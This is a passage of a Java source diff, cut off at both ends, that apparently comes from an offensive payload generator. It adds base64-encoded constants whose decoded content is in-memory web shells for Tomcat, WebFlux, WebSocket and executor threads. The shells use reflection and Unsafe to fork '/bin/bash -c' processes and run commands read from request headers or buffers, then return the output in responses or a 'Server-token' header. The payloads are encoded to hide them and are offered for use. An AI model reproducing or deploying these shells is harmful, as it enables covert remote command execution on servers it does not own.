AgICAgICAgIHNiICAgICAgICAgPSBuZXcgU3RyaW5nQnVpbGRlcigpOwoKCQkJCQkJCWZvciAoaW50IGkgPSAwOyBpIDwgY21kcy5sZW5ndGg7IGkrKykgewoJCQkJCQkJCXNiLmFwcGVuZChjbWRzW2ldKS5hcHBlbmQoIiAiKTsKCQkJCQkJCX0KCgkJCQkJCQl0cnkgewoJCQkJCQkJCWphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZCBtZXRob2QyID0gcHJvY2Vzc09iamVjdC5nZXRDbGFzcygpLmdldERlY2xhcmVkTWV0aG9kKCJjcmVhdGUiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3MsIFN0cmluZy5jbGFzcywgU3RyaW5nLmNsYXNzLCBib29sZWFuLmNsYXNzLCBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yLmNsYXNzLCBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yLmNsYXNzLCBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yLmNsYXNzfSk7CgkJCQkJCQkJbWV0aG9kMi5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJCQkJCW1ldGhvZDIuaW52b2tlKHByb2Nlc3NPYmplY3QsIG5ldyBPYmplY3RbXXtzYi50b1N0cmluZygpLnRyaW0oKSwgbnVsbCwgbnVsbCwgamF2YS5sYW5nLkJvb2xlYW4uRkFMU0UsIG5ldyBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yKCksIHN0ZG91dF9mZCwgbmV3IGphdmEuaW8uRmlsZURlc2NyaXB0b3IoKX0pOwoJCQkJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCgkJCQkJCQkJamF2YS5sYW5nLnJlZmxlY3QuTWV0aG9kIG1ldGhvZCA9IHByb2Nlc3NPYmplY3QuZ2V0Q2xhc3MoKS5nZXREZWNsYXJlZE1ldGhvZCgiY3JlYXRlIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzLCBTdHJpbmcuY2xhc3MsIFN0cmluZy5jbGFzcywgbG9uZ1tdLmNsYXNzLCBib29sZWFuLmNsYXNzfSk7CgkJCQkJCQkJbWV0aG9kLnNldEFjY2Vzc2libGUodHJ1ZSk7CgkJCQkJCQkJT2JqZWN0IGhhbmRsZSA9IG1ldGhvZC5pbnZva2UocHJvY2Vzc09iamVjdCwgbmV3IE9iamVjdFtde3NiLnRvU3RyaW5nKCkudHJpbSgpLCBudWxsLCBudWxsLCBzdGRIYW5kbGVzLCBqYXZhLmxhbmcuQm9vbGVhbi5GQUxTRX0pOwoKCQkJCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCBmaWVsZCA9IHByb2Nlc3NDbGFzcy5nZXREZWNsYXJlZEZpZWxkKCJoYW5kbGUiKTsKCQkJCQkJCQlmaWVsZC5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJCQkJCWZpZWxkLnNldChwcm9jZXNzT2JqZWN0LCBoYW5kbGUpOwoKCQkJCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCBmaWVsZDEgPSBwcm9jZXNzT2JqZWN0LmdldENsYXNzKCkuZ2V0RGVjbGFyZWRGaWVsZCgiZmRBY2Nlc3MiKTsKCQkJCQkJCQlmaWVsZDEuc2V0QWNjZXNzaWJsZSh0cnVlKTsKCQkJCQkJCQlPYmplY3QgZmRBY2Nlc3MgPSBmaWVsZDEuZ2V0KHByb2Nlc3NPYmplY3QpOwoKCQkJCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgbWV0aG9kMiA9IGZkQWNjZXNzLmdldENsYXNzKCkuZ2V0RGVjbGFyZWRNZXRob2QoInNldEhhbmRsZSIsIG5ldyBDbGFzc1tde2phdmEuaW8uRmlsZURlc2NyaXB0b3IuY2xhc3MsIGxvbmcuY2xhc3N9KTsKCQkJCQkJCQltZXRob2QyLnNldEFjY2Vzc2libGUodHJ1ZSk7CgkJCQkJCQkJbWV0aG9kMi5pbnZva2UoZmRBY2Nlc3MsIG5ldyBPYmplY3RbXXtzdGRvdXRfZmQsIExvbmcudmFsdWVPZihzdGRIYW5kbGVzWzFdKX0pOwoJCQkJCQkJfQoJCQkJCQkJamF2YS5sYW5nLnJlZmxlY3QuRmllbGQgZmllbGQyID0gcHJvY2Vzc0NsYXNzLmdldERlY2xhcmVkRmllbGQoInN0ZG91dF9zdHJlYW0iKTsKCQkJCQkJCWZpZWxkMi5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJCQkJZmllbGQyLnNldChwcm9jZXNzT2JqZWN0LCBuZXcgamF2YS5pby5CdWZmZXJlZElucHV0U3RyZWFtKG5ldyBqYXZhLmlvLkZpbGVJbnB1dFN0cmVhbShzdGRvdXRfZmQpKSk7CgkJCQkJCX0gZWxzZSB7CgkJCQkJCQljbWRzID0gbmV3IFN0cmluZ1tdeyIvYmluL2Jhc2giLCAiLWMiLCBjbWR9OwoJCQkJCQkJcHJvY2Vzc0NsYXNzID0gQ2xhc3MuZm9yTmFtZSgiamF2YS5sYW5nLlVOSVhQcm9jZXNzIik7CgkJCQkJCQlwcm9jZXNzT2JqZWN0ID0gdW5zYWZlLmFsbG9jYXRlSW5zdGFuY2UocHJvY2Vzc0NsYXNzKTsKCQkJCQkJCWJ5dGVbXVtdIGFyZ3MgPSBuZXcgYnl0ZVtjbWRzLmxlbmd0aCAtIDFdW107CgkJCQkJCQlpbnQgICAgICBzaXplID0gYXJncy5sZW5ndGg7CgkJCQkJCQlmb3IgKGludCBpID0gMDsgaSA8IGFyZ3MubGVuZ3RoOyBpKyspIHsKCQkJCQkJCQlhcmdzW2ldID0gY21kc1tpICsgMV0uZ2V0Qnl0ZXMoKTsKCQkJCQkJCQlzaXplICs9IGFyZ3NbaV0ubGVuZ3RoOwoJCQkJCQkJfQoJCQkJCQkJYnl0ZVtdIGFyZ0Jsb2NrID0gbmV3IGJ5dGVbc2l6ZV07CgkJCQkJCQlpbnQgICAgaSAgICAgICAgPSAwOwoJCQkJCQkJZm9yIChpbnQgaTEgPSAwOyBpMSA8IGFyZ3MubGVuZ3RoOyBpMSsrKSB7CgkJCQkJCQkJU3lzdGVtLmFycmF5Y29weShhcmdzW2kxXSwgMCwgYXJnQmxvY2ssIGksIGFyZ3NbaTFdLmxlbmd0aCk7CgkJCQkJCQkJaSArPSBhcmdzW2kxXS5sZW5ndGggKyAxOwoJCQkJCQkJfQoJCQkJCQkJaW50W10gc3RkX2ZkcyA9IG5ldyBpbnRbXXstMSwgLTEsIC0xfTsKCgkJCQkJCQlieXRlW10gYnl0ZXMgID0gY21kc1swXS5nZXRCeXRlcygpOwoJCQkJCQkJYnl0ZVtdIHJlc3VsdCA9IG5ldyBieXRlW2J5dGVzLmxlbmd0aCArIDFdOwoJCQkJCQkJamF2YS5sYW5nLlN5c3RlbS5hcnJheWNvcHkoYnl0ZXMsIDAsIHJlc3VsdCwgMCwgYnl0ZXMubGVuZ3RoKTsKCQkJCQkJCXJlc3VsdFtyZXN1bHQubGVuZ3RoIC0gMV0gPSAoYnl0ZSkgMDsKCgkJCQkJCQl0cnkgewoKCQkJCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCBmaWVsZCA9IHByb2Nlc3NPYmplY3QuZ2V0Q2xhc3MoKS5nZXREZWNsYXJlZEZpZWxkKCJsYXVuY2hNZWNoYW5pc20iKTsKCQkJCQkJCQlmaWVsZC5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJCQkJCU9iamVjdCBsYXVuY2hNZWNoYW5pc21PYmplY3QgPSBmaWVsZC5nZXQocHJvY2Vzc09iamVjdCk7CgoJCQkJCQkJCWphdmEubGFuZy5yZWZsZWN0LkZpZWxkIGZpZWxkMiA9IHByb2Nlc3NPYmplY3QuZ2V0Q2xhc3MoKS5nZXREZWNsYXJlZEZpZWxkKCJoZWxwZXJwYXRoIik7CgkJCQkJCQkJZmllbGQyLnNldEFjY2Vzc2libGUodHJ1ZSk7CgkJCQkJCQkJYnl0ZVtdIGhlbHBlcnBhdGhPYmplY3QgPSAoYnl0ZVtdKSBmaWVsZDIuZ2V0KHByb2Nlc3NPYmplY3QpOwoKCQkJCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgbWV0aG9kID0gamF2YS5sYW5nLkVudW0uY2xhc3MuZ2V0RGVjbGFyZWRNZXRob2QoIm9yZGluYWwiLCBudWxsKTsKCQkJCQkJCQltZXRob2Quc2V0QWNjZXNzaWJsZSh0cnVlKTsKCQkJCQkJCQlpbnQgb3JkaW5hbCA9IGphdmEubGFuZy5JbnRlZ2VyLnBhcnNlSW50KG1ldGhvZC5pbnZva2UobGF1bmNoTWVjaGFuaXNtT2JqZWN0LCBudWxsKS50b1N0cmluZygpKTsKCgkJCQkJCQkJamF2YS5sYW5nLnJlZmxlY3QuTWV0aG9kIG1ldGhvZDEgPSBwcm9jZXNzT2JqZWN0LmdldENsYXNzKCkuZ2V0RGVjbGFyZWRNZXRob2QoImZvcmtBbmRFeGVjIiwgbmV3IENsYXNzW117aW50LmNsYXNzLCBieXRlW10uY2xhc3MsIGJ5dGVbXS5jbGFzcywgYnl0ZVtdLmNsYXNzLCBpbnQuY2xhc3MsIGJ5dGVbXS5jbGFzcywgaW50LmNsYXNzLCBieXRlW10uY2xhc3MsIGludFtdLmNsYXNzLCBib29sZWFuLmNsYXNzfSk7CgkJCQkJCQkJbWV0aG9kMS5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJCQkJCW1ldGhvZDEuaW52b2tlKHByb2Nlc3NPYmplY3QsIG5ldyBPYmplY3RbXXtJbnRlZ2VyLnZhbHVlT2Yob3JkaW5hbCArIDEpLCBoZWxwZXJwYXRoT2JqZWN0LCByZXN1bHQsIGFyZ0Jsb2NrLCBJbnRlZ2VyLnZhbHVlT2YoYXJncy5sZW5ndGgpLCBudWxsLCBJbnRlZ2VyLnZhbHVlT2YoMSksIG51bGwsIHN0ZF9mZHMsIGphdmEubGFuZy5Cb29sZWFuLkZBTFNFfSk7CgoJCQkJCQkJCWphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZCBtZXRob2QyID0gcHJvY2Vzc09iamVjdC5nZXRDbGFzcygpLmdldERlY2xhcmVkTWV0aG9kKCJpbml0U3RyZWFtcyIsIG5ldyBDbGFzc1tde2ludFtdLmNsYXNzfSk7CgkJCQkJCQkJbWV0aG9kMi5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJCQkJCW1ldGhvZDIuaW52b2tlKHByb2Nlc3NPYmplY3QsIG5ldyBPYmplY3RbXXtzdGRfZmRzfSk7CgoJCQkJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQkJCQkJCQlqYXZhLmlvLkZpbGVEZXNjcmlwdG9yIHN0ZG91dF9mZCA9IG5ldyBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yKCk7CgoKCQkJCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgbWV0aG9kMSA9IHByb2Nlc3NPYmplY3QuZ2V0Q2xhc3MoKS5nZXREZWNsYXJlZE1ldGhvZCgiZm9ya0FuZEV4ZWMiLCBuZXcgQ2xhc3NbXXtieXRlW10uY2xhc3MsIGJ5dGVbXS5jbGFzcywgaW50LmNsYXNzLCBieXRlW10uY2xhc3MsIGludC5jbGFzcywgYnl0ZVtdLmNsYXNzLCBib29sZWFuLmNsYXNzLCBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yLmNsYXNzLCBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yLmNsYXNzLCBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yLmNsYXNzfSk7CgkJCQkJCQkJbWV0aG9kMS5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJCQkJCW1ldGhvZDEuaW52b2tlKHByb2Nlc3NPYmplY3QsIG5ldyBPYmplY3RbXXtyZXN1bHQsIGFyZ0Jsb2NrLCBJbnRlZ2VyLnZhbHVlT2YoYXJncy5sZW5ndGgpLCBudWxsLCBJbnRlZ2VyLnZhbHVlT2YoMSksIG51bGwsIGphdmEubGFuZy5Cb29sZWFuLkZBTFNFLCBuZXcgamF2YS5pby5GaWxlRGVzY3JpcHRvcigpLCBzdGRvdXRfZmQsIG5ldyBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yKCl9KTsKCgkJCQkJCQkJamF2YS5sYW5nLnJlZmxlY3QuRmllbGQgZmllbGQyID0gcHJvY2Vzc0NsYXNzLmdldERlY2xhcmVkRmllbGQoInN0ZG91dF9zdHJlYW0iKTsKCQkJCQkJCQlmaWVsZDIuc2V0QWNjZXNzaWJsZSh0cnVlKTsKCgkJCQkJCQkJdHJ5IHsKCQkJCQkJCQkJQ2xhc3MgICAgICAgICAgICAgICAgICAgICAgICAgZGNpc0NsYXNzICAgPSBDbGFzcy5mb3JOYW1lKCJqYXZhLmxhbmcuVU5JWFByb2Nlc3MkRGVmZXJyZWRDbG9zZUlucHV0U3RyZWFtIik7CgkJCQkJCQkJCWphdmEubGFuZy5yZWZsZWN0LkNvbnN0cnVjdG9yIGNvbnN0cnVjdG9yID0gZGNpc0NsYXNzLmdldERlY2xhcmVkQ29uc3RydWN0b3IobmV3IENsYXNzW117amF2YS5pby5GaWxlRGVzY3JpcHRvci5jbGFzc30pOwoJCQkJCQkJCQljb25zdHJ1Y3Rvci5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJCQkJCQlmaWVsZDIuc2V0KHByb2Nlc3NPYmplY3QsIG5ldyBqYXZhLmlvLkJ1ZmZlcmVkSW5wdXRTdHJlYW0oKGphdmEuaW8uSW5wdXRTdHJlYW0pIGNvbnN0cnVjdG9yLm5ld0luc3RhbmNlKG5ldyBPYmplY3RbXXtzdGRvdXRfZmR9KSkpOwoJCQkJCQkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBuZXZlck1pbmQpIHsKCQkJCQkJCQkJZmllbGQyLnNldChwcm9jZXNzT2JqZWN0LCBuZXcgamF2YS5pby5CdWZmZXJlZElucHV0U3RyZWFtKG5ldyBqYXZhLmlvLkZpbGVJbnB1dFN0cmVhbShzdGRvdXRfZmQpKSk7CgkJCQkJCQkJfQoJCQkJCQkJfQoJCQkJCQl9CgoJCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgbWV0aG9kID0gcHJvY2Vzc09iamVjdC5nZXRDbGFzcygpLmdldERlY2xhcmVkTWV0aG9kKCJnZXRJbnB1dFN0cmVhbSIsIG51bGwpOwoJCQkJCQltZXRob2Quc2V0QWNjZXNzaWJsZSh0cnVlKTsKCQkJCQkJamF2YS5pby5JbnB1dFN0cmVhbSBpbiA9IChqYXZhLmlvLklucHV0U3RyZWFtKSBtZXRob2QuaW52b2tlKHByb2Nlc3NPYmplY3QsIG51bGwpOwoJCQkJCQlpbnQgICAgICAgICAgICAgICAgIGEgID0gMDsKCQkJCQkJYnl0ZVtdICAgICAgICAgICAgICBiICA9IG5ldyBieXRlWzEwMjRdOwoJCQkJCQl3aGlsZSAoKGEgPSBpbi5yZWFkKGIpKSAhPSAtMSkgewoJCQkJCQkJYmFvcy53cml0ZShiLCAwLCBhKTsKCQkJCQkJfQoKCQkJCQkJamF2YS5pby5QcmludFdyaXRlciB3cml0ZXIgPSByZXNwb25zZS5nZXRXcml0ZXIoKTsKCQkJCQkJd3JpdGVyLndyaXRlKGJhb3MudG9TdHJpbmcoKSk7CgkJCQkJCXdyaXRlci5mbHVzaCgpOwoJCQkJCQl3cml0ZXIuY2xvc2UoKTsKCQkJCQl9CgkJCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCQkJfQoJCQkJcmV0dXJuOwoJCQl9CgkJfQ=="; + + public static String CMD_SHELL_FOR_WEBFLUX = "ewogICAgamF2YS5sYW5nLlN0cmluZ0J1aWxkZXIgc2IgPSAkMTsKICAgIHNiLmFwcGVuZChleGVjQ21kKHRoaXMuQ09NTUFORCkpOwp9"; + + public static String WS_SHELL = "ewogICAgdHJ5IHsKICAgICAgICBTdHJpbmcgY21kID0gJDE7ICAgICAgIAogICAgICAgIHRoaXMuc2Vzc2lvbi5nZXRCYXNpY1JlbW90ZSgpLnNlbmRUZXh0KGV4ZWNDbWQoY21kKS50b1N0cmluZygpKTsKICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CiAgICB9Cn0="; + + public static String UPGRADE_SHELL = "ewoJCW9yZy5hcGFjaGUuY295b3RlLlJlcXVlc3QgcmVxdWVzdCA9ICQxOwoKCQl0cnkgewoJCQlTdHJpbmcgICAgICAgICAgICAgICAgICAgICBjb21tYW5kICA9IHJlcXVlc3QuZ2V0SGVhZGVyKENNRF9IRUFERVIpOwoJCQlvcmcuYXBhY2hlLmNveW90ZS5SZXNwb25zZSByZXNwb25zZSA9IChvcmcuYXBhY2hlLmNveW90ZS5SZXNwb25zZSkgZ2V0RmllbGRWYWx1ZShyZXF1ZXN0LCAicmVzcG9uc2UiKTsKCQkJcmVzcG9uc2UuZG9Xcml0ZShqYXZhLm5pby5CeXRlQnVmZmVyLndyYXAoZXhlY0NtZChjb21tYW5kKS50b0J5dGVBcnJheSgpKSk7CgkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQl9CgoJCXJldHVybiBmYWxzZTsKCX0="; + + public static String EXECUTOR_SHELL = "ewoJU3RyaW5nIGNtZCA9IGdldFJlcXVlc3QoKTsKCWlmIChjbWQubGVuZ3RoKCkgPiAxKSB7CgkJZ2V0UmVzcG9uc2UoZXhlY0NtZChjbWQpLnRvQnl0ZUFycmF5KCkpOwoJfQoJdGhpcy5leGVjdXRlKCQxLCBMb25nLnBhcnNlTG9uZygiMCIpLCBqYXZhLnV0aWwuY29uY3VycmVudC5UaW1lVW5pdC5NSUxMSVNFQ09ORFMpOwp9"; + + // executor 需要的从线程里获取 request 对象的方法,需要 getFieldValue TAG 属性 + public static String GET_REQUEST = "cHVibGljIFN0cmluZyBnZXRSZXF1ZXN0KCkgewoJdHJ5IHsKCQlUaHJlYWRbXSB0aHJlYWRzID0gKFRocmVhZFtdKSAoKFRocmVhZFtdKSBnZXRGaWVsZFZhbHVlKFRocmVhZC5jdXJyZW50VGhyZWFkKCkuZ2V0VGhyZWFkR3JvdXAoKSwgInRocmVhZHMiKSk7CgkJZm9yIChpbnQgaSA9IDA7IGkgPCB0aHJlYWRzLmxlbmd0aDsgaSsrKSB7CgkJCVRocmVhZCB0aHJlYWQgPSB0aHJlYWRzW2ldOwoJCQlpZiAodGhyZWFkICE9IG51bGwpIHsKCQkJCVN0cmluZyB0aHJlYWROYW1lID0gdGhyZWFkLmdldE5hbWUoKTsKCQkJCWlmICghdGhyZWFkTmFtZS5jb250YWlucygiZXhlYyIpICYmIHRocmVhZE5hbWUuY29udGFpbnMoIkFjY2VwdG9yIikpIHsKCQkJCQlPYmplY3QgdGFyZ2V0ID0gZ2V0RmllbGRWYWx1ZSh0aHJlYWQsICJ0YXJnZXQiKTsKCQkJCQlpZiAodGFyZ2V0IGluc3RhbmNlb2YgamF2YS5sYW5nLlJ1bm5hYmxlKSB7CgkJCQkJCXRyeSB7CgkJCQkJCQlPYmplY3RbXSBvYmplY3RzID0gKE9iamVjdFtdKSBnZXRGaWVsZFZhbHVlKGdldEZpZWxkVmFsdWUoZ2V0RmllbGRWYWx1ZSh0YXJnZXQsICJ0aGlzJDAiKSwgIm5pb0NoYW5uZWxzIiksICJzdGFjayIpOwoJCQkJCQkJamF2YS5uaW8uQnl0ZUJ1ZmZlciBoZWFwQnl0ZUJ1ZmZlciA9IChqYXZhLm5pby5CeXRlQnVmZmVyKSBnZXRGaWVsZFZhbHVlKGdldEZpZWxkVmFsdWUob2JqZWN0c1swXSwgImFwcFJlYWRCdWZIYW5kbGVyIiksImJ5dGVCdWZmZXIiKTsKCQkJCQkJCVN0cmluZyAgICAgYSAgICAgICAgICAgICAgPSBuZXcgU3RyaW5nKGhlYXBCeXRlQnVmZmVyLmFycmF5KCksICJVVEYtOCIpOwoJCQkJCQkJaWYgKGEuY29udGFpbnMoVEFHKSkgewoJCQkJCQkJCXJldHVybiBhLnN1YnN0cmluZyhhLmluZGV4T2YoVEFHKSArIFRBRy5sZW5ndGgoKSArIDEsIGEuaW5kZXhPZigiXHIiLCBhLmluZGV4T2YoVEFHKSkgLSAxKTsKCQkJCQkJCX0KCQkJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQkJCQkJfQoJCQkJCX0KCQkJCX0KCQkJfQoJCQkKCQl9Cgl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJfQoJcmV0dXJuICIiOwp9"; + + // executor 需要的将结果写回 response 对象的方法,需要 getFieldValue base64Encode + public static String GET_RESPONSE = "cHVibGljIHZvaWQgZ2V0UmVzcG9uc2UoYnl0ZVtdIHJlcykgewoJCXRyeSB7CgkJCVRocmVhZFtdIHRocmVhZHMgPSAoVGhyZWFkW10pICgoVGhyZWFkW10pIGdldEZpZWxkVmFsdWUoVGhyZWFkLmN1cnJlbnRUaHJlYWQoKS5nZXRUaHJlYWRHcm91cCgpLCAidGhyZWFkcyIpKTsKCgkJCWZvciAoaW50IGkgPSAwOyBpIDwgdGhyZWFkcy5sZW5ndGg7IGkrKykgewoJCQkJVGhyZWFkIHRocmVhZCA9IHRocmVhZHNbaV07CgkJCQlpZiAodGhyZWFkICE9IG51bGwpIHsKCQkJCQlTdHJpbmcgdGhyZWFkTmFtZSA9IHRocmVhZC5nZXROYW1lKCk7CgkJCQkJaWYgKCF0aHJlYWROYW1lLmNvbnRhaW5zKCJleGVjIikgJiYgdGhyZWFkTmFtZS5jb250YWlucygiQWNjZXB0b3IiKSkgewoJCQkJCQlPYmplY3QgdGFyZ2V0ID0gZ2V0RmllbGRWYWx1ZSh0aHJlYWQsICJ0YXJnZXQiKTsKCQkJCQkJaWYgKHRhcmdldCBpbnN0YW5jZW9mIFJ1bm5hYmxlKSB7CgkJCQkJCQl0cnkgewoJCQkJCQkJCWphdmEudXRpbC5BcnJheUxpc3Qgb2JqZWN0cyA9IChqYXZhLnV0aWwuQXJyYXlMaXN0KSBnZXRGaWVsZFZhbHVlKGdldEZpZWxkVmFsdWUoZ2V0RmllbGRWYWx1ZShnZXRGaWVsZFZhbHVlKHRhcmdldCwgInRoaXMkMCIpLCAiaGFuZGxlciIpLCAiZ2xvYmFsIiksICJwcm9jZXNzb3JzIik7CgoJCQkJCQkJCWZvciAoaW50IGogPSAwOyBqIDwgb2JqZWN0cy5zaXplKCk7IGorKykgewoJCQkJCQkJCQlvcmcuYXBhY2hlLmNveW90ZS5SZXF1ZXN0SW5mbyByZXF1ZXN0ICA9IChvcmcuYXBhY2hlLmNveW90ZS5SZXF1ZXN0SW5mbykgb2JqZWN0cy5nZXQoaik7CgkJCQkJCQkJCW9yZy5hcGFjaGUuY295b3RlLlJlc3BvbnNlICAgIHJlc3BvbnNlID0gKG9yZy5hcGFjaGUuY295b3RlLlJlc3BvbnNlKSBnZXRGaWVsZFZhbHVlKGdldEZpZWxkVmFsdWUocmVxdWVzdCwgInJlcSIpLCAicmVzcG9uc2UiKTsKCQkJCQkJCQkJcmVzcG9uc2UuYWRkSGVhZGVyKCJTZXJ2ZXItdG9rZW4iLCBiYXNlNjRFbmNvZGUocmVzKSk7CgkJCQkJCQkJfQoJCQkJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQkJCQkJCX0KCQkJCQkJfQoJCQkJCX0KCQkJCX0KCQkJfQoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJfQoJfQ"; + + // toCString + public static String TO_CSTRING_Method = "CXB1YmxpYyBzdGF0aWMgYnl0ZVtdIHRvQ1N0cmluZyhTdHJpbmcgcykgewoJCWlmIChzID09IG51bGwpCgkJCXJldHVybiBudWxsOwoJCWJ5dGVbXSBieXRlcyAgPSBzLmdldEJ5dGVzKCk7CgkJYnl0ZVtdIHJlc3VsdCA9IG5ldyBieXRlW2J5dGVzLmxlbmd0aCArIDFdOwoJCVN5c3RlbS5hcnJheWNvcHkoYnl0ZXMsIDAsCgkJCQlyZXN1bHQsIDAsCgkJCQlieXRlcy5sZW5ndGgpOwoJCXJlc3VsdFtyZXN1bHQubGVuZ3RoIC0gMV0gPSAoYnl0ZSkgMDsKCQlyZXR1cm4gcmVzdWx0OwoJfQ=="; + + // getMethodAndInvoke native 版 + public static String GET_METHOD_AND_INVOKE_OBSCURE = "ICAgIHB1YmxpYyBzdGF0aWMgT2JqZWN0IGdldE1ldGhvZEFuZEludm9rZShPYmplY3Qgb2JqLCBTdHJpbmcgbWV0aG9kTmFtZSwgQ2xhc3NbXSBwYXJhbWV0ZXJDbGFzcywgT2JqZWN0W10gcGFyYW1ldGVycykgewogICAgICAgIHRyeSB7CiAgICAgICAgICAgIGphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZCBtZXRob2QgPSBnZXRNZXRob2RCeUNsYXNzKG9iai5nZXRDbGFzcygpLCBtZXRob2ROYW1lLCBwYXJhbWV0ZXJDbGFzcyk7CiAgICAgICAgICAgIGlmIChtZXRob2QgIT0gbnVsbCkgewoKICAgICAgICAgICAgICAgIENsYXNzICAgICAgICAgICAgICAgICAgICBjbGF6eiA9IENsYXNzLmZvck5hbWUoInN1bi5yZWZsZWN0Lk5hdGl2ZU1ldGhvZEFjY2Vzc29ySW1wbCIpOwogICAgICAgICAgICAgICAgamF2YS5sYW5nLnJlZmxlY3QuTWV0aG9kIG0gICAgID0gY2xhenouZ2V0RGVjbGFyZWRNZXRob2QoImludm9rZTAiLCBuZXcgQ2xhc3NbXXtqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QuY2xhc3MsIE9iamVjdC5jbGFzcywgT2JqZWN0W10uY2xhc3N9KTsKICAgICAgICAgICAgICAgIG0uc2V0QWNjZXNzaWJsZSh0cnVlKTsKICAgICAgICAgICAgICAgIHJldHVybiBtLmludm9rZShudWxsLCBuZXcgT2JqZWN0W117bWV0aG9kLCBvYmosIHBhcmFtZXRlcnN9KTsKICAgICAgICAgICAgfQogICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CiAgICAgICAgfQogICAgICAgIHJldHVybiBudWxsOwogICAgfQ=="; + + // getMethodAndInvoke + public static String GET_METHOD_AND_INVOKE = "cHVibGljIHN0YXRpYyBPYmplY3QgZ2V0TWV0aG9kQW5kSW52b2tlKE9iamVjdCBvYmosIFN0cmluZyBtZXRob2ROYW1lLCBDbGFzc1tdIHBhcmFtZXRlckNsYXNzLCBPYmplY3RbXSBwYXJhbWV0ZXJzKSB7CgkJdHJ5IHsKCQkJamF2YS5sYW5nLnJlZmxlY3QuTWV0aG9kIG1ldGhvZCA9IGdldE1ldGhvZEJ5Q2xhc3Mob2JqLmdldENsYXNzKCksIG1ldGhvZE5hbWUsIHBhcmFtZXRlckNsYXNzKTsKCQkJaWYgKG1ldGhvZCAhPSBudWxsKQoJCQkJcmV0dXJuIG1ldGhvZC5pbnZva2Uob2JqLCBwYXJhbWV0ZXJzKTsKCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCX0KCQlyZXR1cm4gbnVsbDsKCX0="; + + // getMethodByClass + public static String GET_METHOD_BY_CLASS = "cHVibGljIHN0YXRpYyBqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgZ2V0TWV0aG9kQnlDbGFzcyhDbGFzcyBjcywgU3RyaW5nIG1ldGhvZE5hbWUsIENsYXNzW10gcGFyYW1ldGVycykgewoJCWphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZCBtZXRob2QgPSBudWxsOwoJCXdoaWxlIChjcyAhPSBudWxsKSB7CgkJCXRyeSB7CgkJCQltZXRob2QgPSBjcy5nZXREZWNsYXJlZE1ldGhvZChtZXRob2ROYW1lLCBwYXJhbWV0ZXJzKTsKCQkJCW1ldGhvZC5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJY3MgPSBudWxsOwoJCQl9IGNhdGNoIChFeGNlcHRpb24gZSkgewoJCQkJY3MgPSBjcy5nZXRTdXBlcmNsYXNzKCk7CgkJCX0KCQl9CgkJcmV0dXJuIG1ldGhvZDsKCX0="; + + // getFieldValue + public static String GET_FIELD_VALUE = "cHVibGljIHN0YXRpYyBPYmplY3QgZ2V0RmllbGRWYWx1ZShPYmplY3Qgb2JqLCBTdHJpbmcgZmllbGROYW1lKSB0aHJvd3MgRXhjZXB0aW9uIHsKCQlqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCBmID0gbnVsbDsKCQlpZiAob2JqIGluc3RhbmNlb2YgamF2YS5sYW5nLnJlZmxlY3QuRmllbGQpIHsKCQkJZiA9IChqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCkgb2JqOwoJCX0gZWxzZSB7CgkJCUNsYXNzIGNzID0gb2JqLmdldENsYXNzKCk7CgkJCXdoaWxlIChjcyAhPSBudWxsKSB7CgkJCQl0cnkgewoJCQkJCWYgPSBjcy5nZXREZWNsYXJlZEZpZWxkKGZpZWxkTmFtZSk7CgkJCQkJY3MgPSBudWxsOwoJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGUpIHsKCQkJCQljcyA9IGNzLmdldFN1cGVyY2xhc3MoKTsKCQkJCX0KCQkJfQoJCX0KCQlmLnNldEFjY2Vzc2libGUodHJ1ZSk7CgkJcmV0dXJuIGYuZ2V0KG9iaik7Cgl9"; + + // getUnsafe + public static String GET_UNSAFE = 